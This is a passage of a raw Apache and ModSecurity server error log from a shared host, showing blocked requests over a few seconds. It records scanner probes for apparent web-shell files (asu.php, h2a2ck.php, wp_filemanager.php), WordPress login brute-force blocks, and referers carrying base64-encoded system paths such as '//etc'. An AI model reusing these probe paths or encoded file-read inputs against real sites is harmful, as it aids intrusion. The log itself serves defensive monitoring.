https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:37.516391 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:37.532556 2026] [security2:error] [pid 531155:tid 531354] [client 20.151.217.54:58194] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/asu.php"] [unique_id "ai3wySmiP80klyS0NnrloQAAAU8"] [Sat Jun 13 18:07:37.582410 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.99:24782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:37.582699 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.99:24782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:37.762336 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.112:23242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:37.762620 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.112:23242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:37.767849 2026] [security2:error] [pid 531797:tid 531959] [remote 17.241.75.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wycTA7b1mZrmcA-8JXgACKl8"] [Sat Jun 13 18:07:37.824585 2026] [security2:error] [pid 531797:tid 532079] [client 20.151.217.54:65168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3wycTA7b1mZrmcA-8JYQAAAmU"] [Sat Jun 13 18:07:37.848749 2026] [security2:error] [pid 531155:tid 531213] [remote 165.245.185.54:44468] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.185.245.165.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "semakulajeffrey.com"] [uri "/wp-login.php"] [unique_id "ai3wySmiP80klyS0NnrlpgABGDk"] [Sat Jun 13 18:07:37.857130 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.22:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:37.857400 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.22:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:37.998606 2026] [security2:error] [pid 531155:tid 531256] [remote 17.241.219.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wySmiP80klyS0NnrlqQABLWQ"] [Sat Jun 13 18:07:38.017875 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:38.018319 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:38.090923 2026] [security2:error] [pid 531155:tid 531297] [client 20.151.217.54:58115] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/wolf.php"] [unique_id "ai3wyimiP80klyS0NnrlqwAAARY"] [Sat Jun 13 18:07:38.106141 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:07:38.106586 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:07:38.161928 2026] [security2:error] [pid 531155:tid 531324] [client 148.113.209.179:47422] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wyimiP80klyS0NnrlrwAAATE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:38.303550 2026] [security2:error] [pid 531797:tid 531915] [remote 103.205.140.225:28876] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.140.205.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gillianenglish.com"] [uri "/wp-login.php"] [unique_id "ai3wysTA7b1mZrmcA-8JcQACITM"] [Sat Jun 13 18:07:38.393965 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.66:59646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:38.394281 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.66:59646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:38.409226 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.20:62244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:38.409682 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.20:62244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:38.450823 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvaWQ= [Sat Jun 13 18:07:38.451133 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvaWQ= [Sat Jun 13 18:07:38.493525 2026] [security2:error] [pid 531797:tid 532026] [client 20.151.217.54:61795] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/rum.php"] [unique_id "ai3wysTA7b1mZrmcA-8JfwAAAjI"] [Sat Jun 13 18:07:38.523642 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:07:38.524013 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxl [Sat Jun 13 18:07:38.552884 2026] [security2:error] [pid 531155:tid 531411] [client 172.56.168.133:11237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wyimiP80klyS0NnrltAAAAYg"] [Sat Jun 13 18:07:38.557629 2026] [security2:error] [pid 531155:tid 531411] [client 172.56.168.133:11237] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wyimiP80klyS0NnrltAAAAYg"] [Sat Jun 13 18:07:38.653052 2026] [security2:error] [pid 531155:tid 531292] [client 172.171.3.232:48174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3wyimiP80klyS0NnrltwAAARE"] [Sat Jun 13 18:07:38.760063 2026] [security2:error] [pid 531797:tid 532091] [client 20.151.217.54:58218] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/cxl.php"] [unique_id "ai3wysTA7b1mZrmcA-8JhgAAAnA"] [Sat Jun 13 18:07:38.806042 2026] [access_compat:error] [pid 531797:tid 531975] [remote 57.141.14.54:55219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:38.806331 2026] [access_compat:error] [pid 531797:tid 531975] [remote 57.141.14.54:55219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:38.965666 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:07:38.966114 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:07:38.987895 2026] [security2:error] [pid 531797:tid 532053] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vsprintf_variation16.phpt"] [unique_id "ai3wysTA7b1mZrmcA-8JkgAAAks"] [Sat Jun 13 18:07:39.053143 2026] [security2:error] [pid 531797:tid 531932] [remote 17.246.19.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JlQACTkQ"] [Sat Jun 13 18:07:39.057921 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:07:39.058352 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:07:39.174926 2026] [security2:error] [pid 531797:tid 532110] [client 189.217.192.30:49549] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3wysTA7b1mZrmcA-8JjwAAAoM"] [Sat Jun 13 18:07:39.259922 2026] [security2:error] [pid 531797:tid 532013] [client 191.233.234.186:53446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/s-axi.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JngAAAiU"] [Sat Jun 13 18:07:39.319238 2026] [security2:error] [pid 531797:tid 531971] [remote 17.246.19.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JoQACaWo"] [Sat Jun 13 18:07:39.350678 2026] [security2:error] [pid 531797:tid 532113] [client 20.151.217.54:58145] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/flox.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JpAAAAoY"] [Sat Jun 13 18:07:39.471475 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:39.471920 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:39.501295 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTg= [Sat Jun 13 18:07:39.501624 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTg= [Sat Jun 13 18:07:39.504786 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.15:63275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:39.505129 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.15:63275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:39.536593 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:39.536947 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:39.565830 2026] [security2:error] [pid 531155:tid 531391] [client 148.113.209.179:47436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wyymiP80klyS0NnrlyQAAAXQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:39.692546 2026] [security2:error] [pid 531797:tid 532031] [client 20.151.217.54:61763] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/drykl.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JtgAAAjY"] [Sat Jun 13 18:07:39.793617 2026] [security2:error] [pid 531797:tid 531997] [client 148.113.209.179:47446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JugAAAhU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:39.819908 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.113:22856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:39.820290 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.113:22856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:39.992999 2026] [security2:error] [pid 531797:tid 532100] [client 20.151.217.54:58190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/h2a2ck.php"] [unique_id "ai3wy8TA7b1mZrmcA-8JvwAAAnk"] [Sat Jun 13 